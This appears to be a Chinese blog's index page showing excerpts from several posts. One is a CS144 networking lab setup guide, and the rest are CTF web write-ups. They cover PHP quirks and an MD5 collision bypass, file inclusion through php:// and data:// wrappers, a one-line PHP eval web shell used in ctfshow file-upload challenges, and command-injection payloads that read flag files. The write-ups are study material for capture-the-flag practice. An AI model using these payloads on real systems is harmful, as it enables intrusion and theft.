cs144-lab0(包括新手向环境配置和常见问题)
本博客旨在帮助新手尽量无痛启动CS144课程。
每次开启一个lab,最困扰我这种新手的就是环境配置,这次的cs144踩坑踩了好多天才彻底装成功,要是再算上完成lab0就更久了。所以我决定把自己踩的坑和经验都分享出来,不仅仅是记录,更希望能帮助到后来的同学。如有错误或者问题请联系我的邮箱:yoo2i@qq.com
环境配置虚拟机安装工具链在介绍不同的虚拟机管理软件之前,先给出参考链接:
cs144课程视频中文字幕我认为的翻译最好版本。
c++基础c++苦手的我看了这个才开始写,能让你大概了解c++,更多疑惑的细节就丢给chatgpt吧。
【计算机网络】Stanford CS144 Lab Assignments 学习笔记 - 康宇PL - 博客园 (cnblogs.com)该博客提供了最常见版本(2019版)的课程官网镜像,可用来查看英文原版文档。
CS144 Lab0翻译 | Doraemonzzz该博客提供了文档的中文版本,但是某些地方会有瑕疵,请务必对照英文文 ...
CTF中的php特性
在ctf的web方向中php特性是常考考点,本文试图根据ctfshow总结常见的php特性。
preg_match
数组默认返回false
^是开始,$是结束。
/^php$/im代表多行匹配,遇见回车换行,每行都该是php,空行被忽略
/^php$/i代表视作一行,必须是php这个字符串的大小写
strpos查找字符第一次出现的位置,没出现和第一位出现都是false,其余是true
intval
默认按10进制转换。$base设成0后根据变量形式自动转换,开头0x或0X按16进制转换,0为8进制转换,否则全部按照10进制转换。
传入数组时空数组返回0,非空返回1。
会忽略字符串后面的字母,只要前面的数字
md5绕过a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0 ...
CTF文件包含总结
首先要引入这篇文章:[文件包含大介绍]([php知识点]PHP伪协议 (ngui.cc))
然后是几个常用的协议的注意事项
data://text/plaindata://text/plain,xxxx
data://text/plain;base64,xxxxx(注意分号和逗号的位置)(暂时发现分号不能紧挨着?>,要么作为最后一句不加分号,要么加空格作为分割符)
主要用来执行php代码
php://php://filter/read=convert.base64-encode/resource=xxx用来读源码
php://filter/convert.base64-encode/resource=xxx同上
php://input + post传代码用来执行php代码,hackbar传不过去post的代码内容,要用bp加上!!!
file: ...
2023MoeCTF-Web题解
gas!gas!gas!一个让我们熟悉脚本的题目,提交方式是post表单,重点是会话保持用到了requests模块中的session。
直接看代码
1234567891011121314151617181920212223242526272829303132333435import requestsurl="http://localhost:8199/"params={ 'driver':'asfdasdfasfd','steering_control':'0','throttle':'0'}session = requests.session()response=session.post(url=url,data=params)text=response.textresponse.close()for i in range(0,10): if '弯道直行' in text : pa ...
ctfshow文件上传
大体思路
主要参考CTFSHOW-文件上传_ctfshow文件上传__Monica_的博客-CSDN博客这篇文章,博主很厉害,受益良多。
web151只能上传png文件,只是前端过滤,上传<?php @eval($_POST[123]);?>(下文统称evil.php),BP抓包修改后缀即可,最后用蚁剑连接找到flag。
web152
MIME(多用途互联网邮件扩展类型)
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
一、
首先,我们要了解浏览器是如何处理内容的。在浏览器中显示的内容有 HTML、有 XML、有 GIF、还有 Flash ……那么,浏览器是如何区分它们,决定什么内容用什么形式来显示呢?答案是 MIME Type,也就是该资源的媒体类型。
媒体类型通常是通过 HTTP 协议,由 Web 服务器告知浏览器的,更准确地 ...
ctfshow命令执行
web29过滤了flag,两种做法:
?c=system('cat fla?.php');
?c=system('cp fla?.php 1.txt');
问号可以作为占位符替代单个任意字符绕过过滤(和正则表达式不完全一样哦)。
system(‘’);可以执行系统命令,是eval的好伙伴,记得句尾加分号。
web30在29的基础上过滤了system和php
引入知识是反引号`可以代替system函数,只不过它没有回显。(exec和反引号一个效果)
1?c=`cp fla?.?hp 1.txt`;
这是在能往里写新文件的情况,如果不能写的话也可以输出反引号执行的结果的:
1?c=echo `tac fla?.?hp`;
使用echo函数就可以啦。
web31在30的基础上过滤了cat sort shell . 空格和单引号
过滤了太多东西,尝试参数逃逸
?c=eval($_GET[A]);&A=system('cat flag.php');
也可以不参数逃逸,继续老思路:
1?c=echo%09`tac%09fla??? ...